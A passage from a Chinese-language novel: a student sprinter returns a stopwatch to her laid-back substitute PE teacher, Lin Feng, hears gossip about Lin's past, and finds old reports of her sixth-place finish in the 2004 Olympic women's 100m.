林风耸耸肩,手心朝上道:“随你,但秒表我得收走。” 路银星这才想起自己手里还攥着学校公共财产,撑着地面把自己支起来。 她将秒表还给林风。“给您。” “谢了。”林风朝路银星笑了一下,潇洒地转过身去,给路银星留下一个背影,“小疯子,明天你也别借了。” “什么?”路银星不解。 但林风没再回应,只是挥挥手道别,朝办公室走去。 路银星有点儿摸不着头脑,这个林老师到底是什么意思? 但她现在脑子实在是转不动,肚子也咕咕地抗议着。 糟了!食堂还有十分钟就要结束晚餐了! 又累又饿的路银星以最快速度站起身,朝食堂狂奔而去。 “阿姨,我要三碗米饭!” 路银星成功将最后一份红烧肉和青菜拿下,狼吞虎咽地补充着能量。 - 原以为昨天和那位不熟的林老师的见面是一次没有下文的偶遇,没想到第二天训练前,路银星就听到了关于她的更多的八卦。 “你们班最近体育课改成林风代课了没?” “改了啊。她可佛了,做完指定的课堂训练内容,还能给我们一些自由活动的时间呢!我挺喜欢她的,自由。” “但你知道不,她以前是田径国家队的成员,还上过奥运会呢。虽然没拿到什么名次,但竞技水平没得说。” “真的假的?!她完全不像是国家队的吧?感觉她超级摆烂,我去办公室找黄教练的时候,每次都能见到她在那捧着小说,读得津津有味的。” “现在网上什么信息查不到?代表国家队出战奥运的视频都能找到呢,这怎么做假。” “也是。管她呢,反正我能偷懒就是好事。” 昨天那个着急下班的中年女子,以前竟然是国家队的? 路银星听完这个八卦,好奇地在网上搜索了「林风」这个名字。 同名同姓的人挺多,还有明星。路银星又加上了田径和短跑之类的关键词,才找到了当年奥运的报道。 「小将林风闯进雅典女子100决赛!」 「林风拿下女子100米第六名,刷新中国队奥运最好成绩。」 田径并非中国队的强项,虽说是突破性的进展,但连台子都没摸到的成绩,通常没有太多媒体关注。 更何况,那是社交媒体并不太发达的2004年。 路银星好奇地点开了画质模糊不清的比赛视频,看到了20岁的林风意气风发冲过终点线的样子。 那副模样和昨日见到的状态判若两人,和队友们嘴里佛系摆烂的体育老师更是天壤之别。 为什么,林风现在变成这样了?